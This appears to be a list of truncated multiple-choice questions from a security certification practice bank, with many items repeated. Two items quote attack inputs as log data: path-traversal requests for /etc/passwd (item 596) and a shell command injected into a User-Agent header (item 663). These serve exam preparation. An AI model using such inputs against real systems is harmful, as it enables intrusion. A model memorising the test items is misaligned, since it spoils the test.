  363. Which of the following is a prerequisite for a DLP solution?
  364. An accounting clerk sent money to an attacker’s bank account after receiving fraudulent instructions over the phone to use a new account. Which of the following ...
  365. Which of the following allows a systems administrator to tune permissions for a file?
  366. Which of the following best protects sensitive data in transit across a geographically dispersed infrastructure?
  367. Which of the following is the primary purpose of a service that tracks log-ins and time spent using the service?
  368. Which of the following is a risk for a company using end-of-life applications on its network?
  369. A database administrator must replicate the production environment for a new development project. The data owner wants to ensure that the production data will b ...
  370. Which of the following best describes the concept of information being stored outside of its country of origin while still being subject to the laws and require ...
  371. Which of the following security principles most likely requires validation before allowing traffic between systems?
  372. An alert references attacks associated with a zero-day exploit. An analyst places a bastion host in the network to reduce the risk of the exploit. Which of the ...
  373. A company evaluates several options that would allow employees to have remote access to the network. The security team wants to ensure the solution includes AAA ...
  374. A security analyst has determined that a security breach would have a financial impact of $15,000 and is expected to occur twice within a three-year period. Whi ...
  375. Which of the following phases of the incident response process attempts to minimize disruption?
  376. A government worker secretly copies classified files that contain defense tactics information to an external drive. The government worker then gives the externa ...
  377. Which of the following is most likely to be used as a just-in-time reference document within a security operations center?
  378. A company’s security team is reviewing its business continuity plan and must determine the amount of time needed for operations to resume after a disaster. Whic ...
  379. During a SQL update of a database, a temporary field used as part of the update sequence was modified by an attacker before the update completed in order to all ...
  380. The help desk receives multiple calls indicating that machines are running slowly when running enterprise applications. The help desk notes that the affected ma ...
  381. A company makes a change during the appropriate change window, but the unsuccessful change extends beyond the scheduled time and impacts customers. Which of the ...
  382. After an alert was triggered, a security analyst observed the following log: Event ID: 4728 A member was added to the security-enabled global group. Subject: ...
  383. The management team reports that employees are missing features on company-provided tablets, which is causing productivity issues. The management team directs t ...
  384. An organization is evaluating new regulatory requirements associated with the implementation of corrective controls on a group of interconnected financial syste ...
  385. Which of the following activities are associated with vulnerability management?
  386. Multiple users in an organization sign up to use an enterprise collaboration application to increase productivity. The application is easier to use than the one ...
  387. An organization decides that most employees will work remotely. The existing VPN solution does not have adequate bandwidth, and the content filtering proxy is o ...
  388. Which of the following is the most closely associated with confidentiality?
  389. A company is experiencing issues with employees leaving the company for a competitor and taking customer contact information with them. Which of the following t ...
  390. A security administrator receives multiple reports about the same suspicious email. Which of the following is the most likely reason for the malicious email's c ...
  391. Which of the following data recovery strategies will result in a quick recovery at low cost?
  392. Which of the following technologies can achieve microsegmentation?
  393. A security analyst is working with the IT group to define appropriate procedures for the destruction of media and assets in the enterprise environment. Which of ...
  394. An organization is evaluating new regulatory requirements associated with the implementation of corrective controls on a group of interconnected financial syste ...
  395. Which of the following security controls would best guard a payroll system against insider manipulation threats?
  396. A user tries to log in to a bank website using the address www.userbahk.com, which installs malware on the user's computer. However, when the user tries to log ...
  397. A security team wants to work with the same organization’s development team to ensure WAF policies are automatically created when applications are deployed. Whi ...
  398. Which of the following data types best describes an AI tool developed by a company to automate the ticketing system under a specific contract?
  399. Which of the following is a component of a risk register?
  400. A security officer observes that a software development team is not complying with its corporate security policy on encrypting confidential data. Which of the f ...
  401. A security team receives reports about high latency and complete network unavailability throughout most of the office building. Flow logs from the campus switch ...
  402. Which of the following uses proprietary controls and is designed to function in harsh environments over many years with limited remote access management?
  403. A company wants to update its disaster recovery plan to include a dedicated location for immediate continued operations if a catastrophic event occurs. Which of ...
  404. Which of the following tasks is typically included in the BIA process?
  405. Which of the following tasks is typically included in the BIA process?
  406. Which of the following tasks is typically included in the BIA process?
  407. Which of the following describes effective change management procedures?
  408. A company is planning a disaster recovery site and needs to ensure that a single natural disaster would not result in the complete loss of regulated backup data ...
  409. Which of the following techniques would attract the attention of a malicious attacker in an insider threat scenario?
  410. Which of the following makes IaC a preferred security architecture over traditional infrastructure models?
  411. Which of the following is an example of a certificate that is generated by an internal source?
  412. A security analyst is investigating an alert that was produced by endpoint protection software. The analyst determines this event was a false positive triggered ...
  413. Which of the following techniques would identify whether data has been modified in transit?
  414. Which of the following is the greatest advantage that network segmentation provides?
  415. Which of the following can be used to mitigate attacks from high-risk regions?
  416. Which of the following would help reduce the impact of a zero-day vulnerability in NAS installed on a large office network?
  417. Which of the following would an organization most likely use to minimize the loss of data on a file server in the event that data needs to be restored due to lo ...
  418. A government worker secretly copies classified files that contain defense tactics information to an external drive. The government worker then gives the externa ...
  419. During the investigation of a webmail log-in using compromised credentials, a security analyst needs to review information about the source IP for the log-in. W ...
  420. An organization purchases software from an overseas company. The organization’s IDS solution detects that advertising data from the software is unexpectedly rep ...
  421. An administrator needs to perform server hardening before deployment. Which of the following steps should the administrator take? (Select two.)
  422. A security analyst is working with an IT group to define appropriate procedures for the destruction of media and assets in the enterprise environment. Which of ...
  423. A contractor is required to visually inspect the motherboards of all new servers that are purchased to determine whether the servers were tampered with. Which o ...
  424. When trying to access an internal website, an employee reports that a prompt displays, stating that the site is insecure. Which of the following certificate typ ...
  425. Which of the following attacks uses a website to collectively target a group of developers within an organization?
  426. Employees sign an agreement that restricts specific activities when leaving the company. Violating the agreement can result in legal consequences. Which of the ...
  427. After completing onboarding at a company and reviewing the company’s handbooks and AUP, an employee downloads an unapproved application on a company desktop. Wh ...
  428. A penetration tester visits a client’s website and downloads the site’s content. Which of the following actions is the penetration tester performing?
  429. During the onboarding process, an employee needs to create a password for an intranet account... Which of the following access management concepts is the compan ...
  430. A company is considering an expansion of access controls for an application that contractors and internal employees use to reduce costs. Which of the following ...
  431. An alert references attacks associated with a zero-day exploit. An analyst places a bastion host in the network to reduce the risk of the exploit. Which of the ...
  432. Which of the following should be used to aggregate log data in order to create alerts and detect anomalous activity?
  433. A systems administrator creates a script that validates OS version, patch levels, and installed applications when users log in. Which of the following examples ...
  434. Which of the following elements of digital forensics should a company use if it needs to ensure the integrity of evidence?
  435. A new employee accessed an unauthorized website. An investigation found that the employee violated the company’s rules. Which of the following did the employee ...
  436. Which of the following digital forensics activities would a security team perform when responding to legal requests in a pending investigation?
  437. Which of the following cryptographic solutions best protects the confidentiality and integrity of data?
  438. A security analyst is evaluating a SaaS application that the human resources department would like to implement. The analyst requests a SOC 2 report from the Sa ...
  439. A penetration test identifies that an SMBv1 is enabled on multiple servers across an organization. The organization wants to remediate this vulnerability in the ...
  440. Which of the following describes the understanding between a company and a client about what will be provided and the accepted time needed to provide the compan ...
  441. Which of the following control types describes an alert from a SIEM tool?
  442. A group of developers has a shared backup account to access the source code repository. Which of the following is best way to secure the backup account if there ...
  443. A company relies on open-source software libraries to build the software used by its customers. Which of the following vulnerability types would be the most dif ...
  444. A security patch is applied to a server. Which of the following will validate this remediation?
  445. A company uses a cloud-based platform for file storage and wants to ensure the security of its data in transit. Which of the following should the company verify ...
  446. An employee from the accounting department logs in to the website used for processing the company's payments. After logging in, a new desktop application automa ...
  447. Which of the following should a security analyst use to prioritize the remediation of a vulnerability?
  448. A network engineer is increasing the overall security of network devices and needs to harden the devices. Which of the following will best accomplish this task?
  449. Which of the following threat actors would most likely deface the website of a high-profile music group?
  450. A customer changes the underlying file structure of a new mobile phone to install a keylogger with administrator permissions. Which of the following does this b ...
  451. Which of the following aspects of the data management life cycle is most directly impacted by local and international regulations?
  452. While browsing a web page, a user receives a pop-up with a link telling them to navigate to another site. To which of the following is the site vulnerable?
  453. Which of the following is the best safeguard to protect against an extended power failure?
  454. The internal audit team determines a software application is no longer in scope for external reporting requirements. Which of the following will document manage ...
  455. Which of the following is a benefit of vendor diversity?
  456. A business is expanding to a new country and must protect customers from accidental disclosure of specific national identity information. Which of the following ...
  457. Which of the following best describe the benefits of a microservices architecture when compared to a monolithic architecture? (Select two.)
  458. An unexpected and out-of-character email message from a Chief Executive Officer’s corporate account asked an employee to provide financial information and to ch ...
  459. Which of the following is a component of a risk register?
  460. Which of the following would be the greatest concern for a company that is aware of the consequences of non-compliance with government regulations?
  461. For which of the following reasons would a systems administrator leverage a 3DES hash from an installer file that is posted on a vendor’s website?
  462. While investigating logs, a security analyst finds that usernames, passwords, and IP addresses are being sent to a command-and-control server. Which of the foll ...
  463. An external security assessment report indicates a high click rate on suspicious emails. The Chief Intelligence Security Officer (CISO) must reduce this behavio ...
  464. A security administrator must use a strategy to protect the company’s data. The security administrator decides to deploy FDE on the end user devices and TLS for ...
  465. A systems administrator just purchased multiple network devices. Which of the following should the systems administrator perform to prevent attackers from acces ...
  466. An organization designs an inbound firewall with a fail-open configuration while implementing a website. Which of the following does the organization consider t ...
  467. Which of the following activities are associated with vulnerability management?
  468. A company plans to secure its systems by: Preventing users from sending sensitive data over corporate email Restricting access to potentially harmful websites ...
  469. After creating a contract for IT contractors, the human resources department changed several clauses. The contract has gone through three revisions. Which of th ...
  470. An organization is required to provide assurance that its controls are properly designed and operating effectively. Which of the following reports will best ach ...
  471. An employee decides to take malicious action against an organization after being passed over for a promotion. Which of the following threats does the employee n ...
  472. A company that has a large IT operation is looking to better control, standardize, and lower the time required to build new servers. Which of the following arch ...
  473. Which of the following metrics impacts the backup schedule as part of the BIA?
  474. Which of the following activities should a systems administrator perform to quarantine a potentially infected system?
  475. An employee decides to collect PII data from the company's system for personal use. The employee compresses the data into a single encrypted file before sending ...
  476. Which of the following receives logs from various devices and services, and then presents alerts?
  477. An administrator is concerned about the amount of traffic during an upcoming event and must ensure that the site maintains consistent response times. Which of t ...
  478. Which of the following exercises should an organization use to improve its incident response process?
  479. Which of the following activities would involve members of the incident response team and other stakeholders simulating an event?
  480. A service provider wants a cost-effective way to rapidly expand from providing internet links to managing them. Which of the following methods will allow the se ...
  481. An administrator is estimating the cost associated with an attack that could result in the replacement of a physical server. Which of the following processes is ...
  482. A security team must ensure that only TCP port 445 is accessible from a specific VLAN. Which of the following will accomplish this goal?
  483. A company is working with a vendor to perform a penetration test. Which of the following includes an estimate about the number of hours required to complete the ...
  484. A company decides to purchase an insurance policy. Which of the following risk management strategies is this company implementing?
  485. At the start of a penetration test, the tester checks OSINT resources for information about the client environment. Which of the following types of reconnaissan ...
  486. A university employee has logged on to an academic server and attempted to guess the system administrators' login credentials. Which of the following security m ...
  487. After completing an annual external penetration test, a company receives the following guidance: Decommission two unused web servers currently exposed to the ...
  488. A customer reports that software the customer downloaded from a public website has malware in it. However, the company that created the software denies any malw ...
  489. An administrator discovers a cross-site scripting vulnerability on a company website. Which of the following will most likely remediate the issue?
  490. Which of the following attacks primarily targets insecure networks?
  491. During an investigation, a security analyst discovers traffic going out to a command-and-control server. The analyst must find out if any data exfiltration has ...
  492. An organization wants to prevent software developers from updating production systems without prior approval. Which of the following procedures must the organiz ...
  493. An organization suffered numerous multiday power outages at its current location. The Chief Executive Officer wants to create a disaster recovery strategy to re ...
  494. An organization is adopting cloud services at a rapid pace and now has multiple SaaS applications in use. Each application has a separate login, so the security ...
  495. Which of the following is the best way to securely store an encryption key for a data set in a manner that allows multiple entities to access the key when neede ...
  496. Which of the following would be the most appropriate way to protect data in transit?
  497. An organization has been experiencing issues with deleted network share data and improperly assigned permissions. Which of the following would best help track a ...
  498. Which of the following will harden access to a new database system? (Select two)
  499. A company is evaluating security solutions to improve threat inspection for the branch office. The solution needs to work on the application layer, but should n ...
  500. Which of the following organizational documents is most often used to establish and communicate expectations associated with integrity and ethical behavior with ...
  501. Which of the following technologies can achieve microsegmentation?
  502. A large multinational corporation experienced a security breach. After the breach, the Chief Information Security Officer explains to the senior management team ...
  503. An organization suffered numerous multiday power outages at its current location. The Chief Executive Officer wants to create a disaster recovery strategy to re ...
  504. A security analyst developed a script to automate a trivial and repeatable task. Which of the following best describes the benefits of ensuring that other team ...
  505. Which of the following is the most likely motivation for a hacktivist?
  506. Which of the following cryptographic solutions would allow an organization to recover encrypted data after a key becomes corrupted or is deleted?
  507. A few weeks after deploying additional email servers, a company begins to receive complaints from employees that messages they send are going into their recipie ...
  508. Which of the following is a company addressing when it rolls out MDM on all COPE devices?
  509. A company is planning a disaster recovery site and needs to ensure that a single natural disaster would not result in the complete loss of regulated backup data ...
  510. A security team purchases a tool for cloud security posture management. The team is quickly overwhelmed by the number of misconfigurations that the tool detects ...
  511. Which of the following cryptographic solutions best protects the confidentiality and integrity of data?
  512. A company is changing its mobile device policy. The company has the following requirements: Company-owned devices Ability to harden the devices Reduced sec ...
  513. The security team notices that the Always On VPN solution sometimes fails to connect. This leaves remote users unprotected because they cannot connect to the on ...
  514. Which of the following should be used to ensure that a device is inaccessible to a network-connected resource?
  515. An administrator must secure several end-of-life SCADA devices in a manufacturing facility on a limited budget. Which of the following should the security admin ...
  516. Which of the following uses proprietary controls and is designed to function in harsh environments over many years with limited remote access management?
  517. A United States-based cloud-hosting provider wants to expand its data centers to new international locations. Which of the following should the hosting provider ...
  518. A new security regulation was announced that will take effect in the coming year. A company must comply with it to remain in business. Which of the following ac ...
  519. A company evaluates several options that would allow employees to have remote access to the network. The security team wants to ensure the solution includes AAA ...
  520. A security analyst sees an increase of vulnerabilities on workstations after a deployment of a company group policy. Which of the following vulnerability types ...
  521. Which of the following allows for the attribution of messages to individuals?
  522. A government agency requires publicly traded organizations to report cyber breaches within a designated time period. By law, these reports are made public. Whic ...
  523. An attacker gained access to a virtual machine and was able to access the hypervisor. Which of the following describes this attack?
  524. A network team is investigating failures to onboard users to a Wi-Fi network. The investigation shows that the access point accepts connections for a short time ...
  525. An employee decides to take malicious action against an organization after being passed over for a promotion. Which of the following threats does the employee n ...
  526. An external security assessment report indicates a high click rate on suspicious emails. The Chief Intelligence Security Officer (CISO) must reduce this behavio ...
  527. Which of the following is the best security reason for closing service ports that are not needed?
  528. An administrator is creating domain profiles for each employee within the company. The administrator wants to make the process more efficient by assigning permi ...
  529. A company is evaluating security solutions to improve threat inspection for the branch office. The solution needs to work on the application layer, but should n ...
  530. Which of the following can assist in recovering data if the decryption key is lost?
  531. A user sits in a coffee shop on a government-issued laptop. A stranger starts a conversation with the user and starts asking about where the user works, what di ...
  532. Which of the following would be the best solution to deploy a low-cost standby site that includes hardware and internet access?
  533. Which of the following security concepts is being followed when implementing a product that offers protection against DDoS attacks?
  534. Which of the following security controls is a company implementing by deploying HIPS?
  535. A business manager is concerned about the availability of an application running on hardware in the local data center. Which of the following solutions will imp ...
  536. Which of the following is the best physical security control to prevent damage from a vehicle?
  537. Which of the following describes an agent-based application that detects and blocks malicious behavior on enterprise systems while disconnected from the corpora ...
  538. Which of the following encryption methods protects data if a user loses their laptop?
  539. A red-team provider tailgates into an organization's facility. Which of the following has occurred?
  540. Which of the following security concepts is being followed when applying encryption to sensitive data?
  541. A security team must ensure that only TCP port 445 is accessible from a specific VLAN. Which of the following will accomplish this goal?
  542. A security team wants to work with the same organization's development team to ensure WAF policies are automatically created when applications are deployed. Whi ...
  543. Which of the following would most likely prevent exploitation of an end-of-life, business-critical system?
  544. Which of the following activities is included in the post-incident review phase?
  545. During an investigation, a security analyst discovers traffic going out to a command-and-control server. The analyst must find out if any data exfiltration has ...
  546. A user receives a malicious text message that routes to a fake bank login. Which of the following attack types does this scenario describe?
  547. A penetration testing report indicated that an organization should implement controls related to database input validation. Which of the following best identifi ...
  548. During the onboarding process, an employee needs to create a password for an intranet account. The password must include ten characters, numbers, and letters, a ...
  549. An administrator is concerned about the amount of traffic during an upcoming event and must ensure that the site maintains consistent response times. Which of t ...
  550. Which of the following are examples of operational controls that would be appropriate to implement in an environment where financial processing activities occur ...
  551. While troubleshooting a firewall configuration, a technician determines that a "deny any" policy should be added to the bottom of the ACL. The technician update ...
  552. After a company was compromised, customers initiated a lawsuit. The company's attorneys have requested that the security team initiate a legal hold in response ...
  553. Which of the following is the most common data loss path for an air-gapped network?
  554. Which of the following describes effective change management procedures?
  555. A company is evaluating security solutions to improve threat inspection for the branch office. The solution needs to work on the application layer, but should n ...
  556. Which of the following is the best way to improve the confidentiality of remote connections to an enterprise's infrastructure?
  557. Attackers created a new domain name that looks similar to a popular file-sharing website. Which of the following threat vectors is being used?
  558. Which of the following would be the best way to test resiliency in the event of a primary power failure?
  559. An organization has recently decided to implement SSO. The requirements are to leverage access tokens and focus on application authorization rather than user au ...
  560. Which of the following should a technician perform to verify the integrity of a file transferred from one device to another?
  561. Which of the following would be the most appropriate way to protect data in transit?
  562. An administrator learns that users are receiving large quantities of unsolicited messages. The administrator checks the content filter and sees hundreds of mess ...
  563. Which of the following outlines the configuration, maintenance, and security roles between a cloud service provider and the customer?
  564. During an investigation of a cloud-based webmail login using compromised credentials, a security analyst needs to review information about the source IP for the ...
  565. Which of the following strategies most effectively protects sensitive data at rest in a database?
  566. Which of the following risk management strategies is being used when a Chief Information Security Officer ignores known vulnerabilities identified during a risk ...
  567. An IT team rolls out a new management application that uses a randomly generated MFA token that is sent to the administrator's phone. Despite this new MFA preca ...
  568. An organization with multiple geographic locations has invested in various internet circuits at each location, including MPLS, 4G/5G, broadband, and dial-up. An ...
  569. Which of the following teams combines both offensive and defensive testing techniques to protect an organization’s critical systems?
  570. Which of the following is the best way to securely store an encryption key for a data set in a manner that allows multiple entities to access the key when neede ...
  571. Which of the following is a feature of a next-generation SIEM system?
  572. An administrator at a small business notices an increase in support calls from employees who receive a blocked page message after trying to navigate to a spoofe ...
  573. Which of the following techniques can be used to sanitize the data contained on a hard drive while allowing for the hard drive to be repurposed?
  574. A company’s antivirus solution is effective in blocking malware but often has false positives. The security team has spent a significant amount of time on inves ...
  575. A network administrator deploys an FDE solution on all end user workstations. Which of the following data protection strategies does this describe?
  576. While troubleshooting a firewall configuration, a technician determines that a "deny any" policy should be added to the bottom of the ACL. The technician update ...
  577. An IT administrator needs to ensure data retention standards are implemented on an enterprise application. Which of the following describes the administrator's ...
  578. A security analyst is investigating an alert that was produced by endpoint protection software. The analyst determines this event was a false positive triggered ...
  579. A security analyst is investigating an application server and discovers that software on the server is behaving abnormally. The software normally runs batch job ...
  580. Which of the following will harden access to a new database system? (Select two)
  581. An IT manager is putting together a documented plan describing how the organization will keep operating in the event of a global incident. Which of the followin ...
  582. A company receives an alert that a network device vendor, which is widely used in the enterprise, has been banned by the government. Which of the following will ...
  583. A company has begun labeling all laptops with asset inventory stickers and associating them with employee IDs. Which of the following security benefits do these ...
  584. An organization has been experiencing issues with deleted network share data and improperly assigned permissions. Which of the following would best help track a ...
  585. Which of the following threat actors would most likely target an organization by using a logic bomb within an internally-developed application?
  586. A company wants to protect a specialized legacy platform that controls the physical flow of gas inside of pipes. Which of the following environments does the co ...
  587. A systems administrator is working on a solution with the following requirements: • Provide a secure zone. • Enforce a company-wide access control policy. • Red ...
  588. After a security awareness training session, a user called the IT help desk and reported a suspicious call. The suspicious caller stated that the Chief Financia ...
  589. A company performs a risk assessment on the information security program each year. Which of the following best describes this risk assessment?
  590. Which of the following would a security analyst need to consider when prioritizing remediation efforts against known vulnerabilities?
  591. A store is setting up wireless access for their employees. Management wants to limit the number of access points while ensuring all areas of the store are cover ...
  592. Which of the following best describes why a company would erase a newly purchased device and install its own image with an operating system and applications?
  593. Which of the following describes a security alerting and monitoring tool that collects system, application, and network logs from multiple sources in a centrali ...
  594. For an upcoming product launch, a company hires a marketing agency whose owner is a close relative of the Chief Executive Officer. Which of the following did th ...
  595. Which of the following is the most common data loss path for an air-gapped network?
  596. A security analyst receives an alert from a web server that contains the following logs: GET /image?filename=../../../etc/passwd GET /image?filename=../../../ ...
  597. A security manager needs an automated solution that will take immediate action to protect an organization against inbound malicious traffic. Which of the follow ...
  598. A penetration testing report indicated that an organization should implement controls related to database input validation. Which of the following best identifi ...
  599. Which of the following vulnerabilities would likely be mitigated by setting up an MDM platform?
  600. During a routine audit, an analyst discovers that a department at a high school uses a simulation program that was not properly vetted before deployment. Which ...
  601. Which of the following is a primary security concern for a company setting up a BYOD program?
  602. A company needs to determine whether authentication weaknesses in a customer-facing web application exist. Which of the following is the best technique to use?
  603. A company expects its provider to ensure servers and networks maintain 97% uptime. Which of the following will most likely list this expectation?
  604. Which of the following is a risk of conducting a vulnerability assessment?
  605. An enterprise is working with a third party and needs to allow access between the internal networks of both parties for a secure file migration. The solution ne ...
  606. An organization is evaluating the cost of licensing a new solution to prevent ransomware. Which of the following is the most helpful in making this decision?
  607. While troubleshooting an internal resource's poor performance for an end user, a network engineer performs a traceroute on the end device and receives the follo ...
  608. A systems administrator is concerned about vulnerabilities within cloud computing instances. Which of the following is most important for the administrator to c ...
  609. A security administrator wants to improve the reliability of the firewall connection at the company’s primary data center. Which of the following should the adm ...
  610. A security manager created new documentation to use in response to various types of security incidents. Which of the following is the next step the manager shou ...
  611. A security analyst and the management team are reviewing the organizational performance of a recent phishing campaign. The user click-through rate exceeded the ...
  612. A security analyst is concerned malicious actors are lurking in an environment but has not received any alerts regarding suspicious activity. Which of the follo ...
  613. A company phone with proprietary data used by an employee has been stolen. Which of the following can be used to remotely wipe the device?
  614. Which of the following is a common data removal option for companies that want to wipe sensitive data from hard drives in a repeatable manner but allow the hard ...
  615. Which of the following risks can be mitigated by HTTP headers?
  616. Which of the following organizational documents is most often used to establish and communicate expectations associated with integrity and ethical behavior with ...
  617. A software developer wants to implement an application security technique that will provide assurance of the application's integrity. Which of the following tec ...
  618. A systems administrator successfully configures VPN access to a cloud environment. Which of the following capabilities should the administrator use to best faci ...
  619. A Chief Information Security Officer has decided that purchasing insurance when the ALE of expected incidents exceeds $1 million is the most cost-effective appr ...
  620. Which of the following non-production sites is an operational mirror of the primary data center and is ready for use if the primary data center experiences an o ...
  621. Which of the following are cases in which an engineer should recommend the decommissioning of a network device? (Select two).
  622. Remote users report that they are unable to log in to the VPN. The help desk confirms that each employee has a stable internet connection and correct permission ...
  623. A penetration tester gained access to a server room by dressing as an engineer from a known third-party vendor. Which of the following types of penetration test ...
  624. A newly identified network access vulnerability has been found in the OS of legacy IoT devices. Which of the following would best mitigate this vulnerability qu ...
  625. Car vandalism repeatedly occurs near a specific part of a company’s ungated facility. Which of the following would provide the best physical deterrent? (Select ...
  626. An organization needs to block certain information from view. Which of the following should the organization use to accomplish this task?
  627. After a company was compromised, customers initiated a lawsuit. The company’s attorneys have requested that the security team initiate a legal hold in response ...
  628. An important patch for a critical application has just been released, and a systems administrator is identifying all of the systems requiring the patch. Which o ...
  629. A security manager created new documentation to use in response to various types of security incidents. Which of the following is the next step the manager shou ...
  630. Which of the following cryptographic solutions is used to hide the fact that communication is occurring?
  631. A systems administrator is creating a script that would save time and prevent human error when performing account creation for a large number of end users. Whic ...
  632. Visitors to a company’s facilities are connecting to the company’s corporate network Wi-Fi and open network ports. Which of the following should the security en ...
  633. A company hired a security consultant to suggest a device that will protect its inbound HTTP traffic by immediately blocking security violations. Which of the f ...
  634. Which of the following are examples of operational controls that would be appropriate to implement in an environment where financial processing activities occur ...
  635. Which of the following would be used to detect an employee who is emailing a customer list to a personal account before leaving the company?
  636. A systems administrator creates a script that validates OS version, patch levels, and installed applications when users log in. Which of the following examples ...
  637. During a penetration test in a hypervisor, the security engineer is able to use a script to inject a malicious payload and access the host filesystem. Which of ...
  638. A company's antivirus solution is effective in blocking malware but often has false positives. The security team has spent a significant amount of time on inves ...
  639. While troubleshooting a firewall configuration, a technician determines that a "deny any" policy should be added to the bottom of the ACL. The technician update ...
  640. An administrator investigating an incident is concerned about the downtime of a critical server due to a failed drive. Which of the following would the administ ...
  641. Which of the following hardening techniques must be applied on a container image before deploying it to a production environment? (Select two)
  642. A site reliability engineer is designing a recovery strategy that requires quick failover to an identical site if the primary facility goes down. Which of the f ...
  643. A United States-based cloud-hosting provider wants to expand its data centers to new international locations. Which of the following should the hosting provider ...
  644. A company that has a large IT operation is looking to better control, standardize, and lower the time required to build new servers. Which of the following arch ...
  645. Which of the following would most likely prevent exploitation of an end-of-life, business-critical system?
  646. Attackers created a new domain name that looks similar to a popular file-sharing website. Which of the following threat vectors is being used?
  647. An administrator learns that users are receiving large quantities of unsolicited messages. The administrator checks the content filter and sees hundreds of mess ...
  648. Which of the following principles requires that a company must keep files or records for a prescribed period of time before it disposes of those files or record ...
  649. A company purchased cyber insurance to address items listed on the risk register. Which of the following strategies does this represent?
  650. A security operations center determines that the malicious activity detected on a server is normal. Which of the following activities describes the act of ignor ...
  651. Which of the following techniques can be used to sanitize the data contained on a hard drive while allowing for the hard drive to be repurposed?
  652. An IT team rolls out a new management application that uses a randomly generated MFA token that is sent to the administrator's phone. Despite this new MFA preca ...
  653. Which of the following agreements defines response time, escalation points, and performance metrics?
  654. Which of the following is a vulnerability concern for end-of-life hardware?
  655. A company relies on open-source software libraries to build the software used by its customers. Which of the following vulnerability types would be the most dif ...
  656. Which of the following would be the best way to test resiliency in the event of a primary power failure?
  657. A company is required to use certified hardware when building networks. Which of the following best addresses the risks associated with procuring counterfeit ha ...
  658. While reviewing a recent compromise, a forensics team discovers that there are hard-coded credentials in the database connection strings. Which of the following ...
  659. An administrator at a small business notices an increase in support calls from employees who receive a blocked page message after trying to navigate to a spoofe ...
  660. A security engineer would like to enhance the use of automation and orchestration within the SIEM. Which of the following would be the primary benefit of this e ...
  661. Which of the following can best contribute to prioritizing patch applications?
  662. While a school district is performing state testing, a security analyst notices all internet services are unavailable. The analyst discovers that ARP poisoning ...
  663. A security analyst is reviewing logs and discovers the following: 149.34.228.10 - - [28/Jan/2023:16:32:45 -0300] "GET / HTTP/1.0" User-Agent: ${/bin/sh/ id} 20 ...
  664. During an investigation of a cloud-based webmail login using compromised credentials, a security analyst needs to review information about the source IP for the ...
  665. Which of the following would best ensure a controlled version release of a new software application?
  666. A security analyst is investigating an alert that was produced by endpoint protection software. The analyst determines this event was a false positive triggered ...
  667. Which of the following would be the most appropriate way to protect data in transit?
  668. A penetration tester visits a client's website and downloads the site's content. Which of the following actions is the penetration tester performing?
  669. Which of the following control types is AUP an example of?
  670. Which of the following digital forensics activities would a security team perform when responding to legal requests in a pending investigation?
  671. A company plans to secure its systems by: • Preventing users from sending sensitive data over corporate email • Restricting access to potentially harmful webs ...
  672. An organization designs an inbound firewall with a fail-open configuration while implementing a website. Which of the following does the organization consider t ...
  673. Which of the following teams combines both offensive and defensive testing techniques to protect an organization's critical systems?
  674. After multiple phishing simulations, the Chief Security Officer announces a new program that incentivizes employees to not click phishing links in the upcoming ...
  675. Which of the following is a feature of a next-generation SIEM system?
  676. While updating the security awareness training, a security analyst wants to address issues created if vendors' email accounts are compromised. Which of the foll ...
  677. An administrator discovers a cross-site scripting vulnerability on a company website. Which of the following will most likely remediate the issue?
  678. A vendor salesperson is a personal friend of a company’s Chief Financial Officer (CFO). The company recently made a large purchase from the vendor, which was di ...
  679. Which of the following is the best way to securely store an encryption key for a data set in a manner that allows multiple entities to access the key when neede ...
  680. Which of the following is the greatest advantage that network segmentation provides?
  681. Which of the following would best allow a company to prevent access to systems from the internet?
  682. An employee from the accounting department logs in to the website used for processing the company’s payments. After logging in, a new desktop application automa ...
  683. A user sends an email that includes a digital signature for validation. Which of the following security concepts would ensure a user cannot deny they sent the e ...
  684. Which of the following strategies most effectively protects sensitive data at rest in a database?
  685. A manager receives an external call from a vendor that needs the wireless network login information to fix an issue with the company’s network printer. Which of ...
  686. Which of the following should be used to prevent changes to system-level data?
  687. Which of the following should a technician perform to verify the integrity of a file transferred from one device to another?
  688. Which of the following is most likely to be used as a just-in-time reference document within a security operations center?
  689. Which of the following is the best safeguard to protect against an extended power failure?
  690. A network administrator wants to ensure that network traffic is highly secure while in transit. Which of the following actions best describes the actions the ne ...
  691. Which of the following would best prepare a security team for a specific incident response scenario?
  692. A security engineer needs to quickly identify a signature from a known malicious file. Which of the following analysis methods would the security engineer most ...
  693. Which of the following allows for the attribution of messages to individuals?
  694. A security analyst must prevent remote users from accessing malicious URLs. The sites need to be checked inline for reputation, content, or categorization. Whic ...
  695. A business is expanding to a new country and must protect customers from accidental disclosure of specific national identity information. Which of the following ...
  696. A government worker secretly copies classified files that contain defense tactics information to an external drive. The government worker then gives the externa ...
  697. Which of the following can assist in recovering data if the decryption key is lost?
  698. The internal audit team determines a software application is no longer in scope for external reporting requirements. Which of the following will document manage ...
  699. The internal audit team determines a software application is no longer in scope for external reporting requirements. Which of the following will document manage ...
  700. Which of the following is a benefit of launching a bug bounty program? (Select two).
  701. During an investigation, a security analyst discovers traffic going out to a command-and-control server. The analyst must find out if any data exfiltration has ...
  702. Which of the following is a reason environmental variables are a concern when reviewing potential system vulnerabilities?
  703. A systems administrator creates a script that validates OS version, patch levels, and installed applications when users log in. Which of the following examples ...
  704. Which of the following is a one-way function that provides assurance of data integrity?
  705. A security practitioner completes a vulnerability assessment on a company’s network and finds several vulnerabilities, which the operations team remediates. Whi ...
  706. Which of the following digital forensics activities would a security team perform when responding to legal requests in a pending investigation?
  707. An employee from the accounting department logs in to the website used for processing the company’s payments. After logging in, a new desktop application automa ...
  708. Which of the following metrics impacts the backup schedule as part of the BIA?
  709. A penetration tester was able to gain unauthorized access to a hypervisor platform. Which of the following vulnerabilities was most likely exploited?
  710. A United States-based cloud-hosting provider wants to expand its data centers to new international locations. Which of the following should the hosting provider ...
  711. After a series of account compromises and credential misuse, a company hires a security manager to develop a security program. Which of the following steps shou ...
  712. During an investigation, a security analyst discovers traffic going out to a command-and-control server. The analyst must find out if any data exfiltration has ...
  713. While a school district is performing state testing, a security analyst notices all internet services are unavailable. The analyst discovers that ARP poisoning ...
  714. A security analyst must prevent remote users from accessing malicious URLs. The sites need to be checked inline for reputation, content, or categorization. Whic ...
  715. A company purchased cyber insurance to address items listed on the risk register. Which of the following strategies does this represent?
  716. A user, who wants to watch a movie during a break at work, connects to a network switch using an Ethernet cable from a personal laptop. Which of the following s ...
  717. Which of the following would best allow a company to prevent access to systems from the internet?
  718. A penetration tester visits a client’s website and downloads the site’s content. Which of the following actions is the penetration tester performing?
  719. A business is expanding to a new country and must protect customers from accidental disclosure of specific national identity information. Which of the following ...
  720. A company plans to secure its systems by: • Preventing users from sending sensitive data over corporate email • Restricting access to potentially harmful webs ...
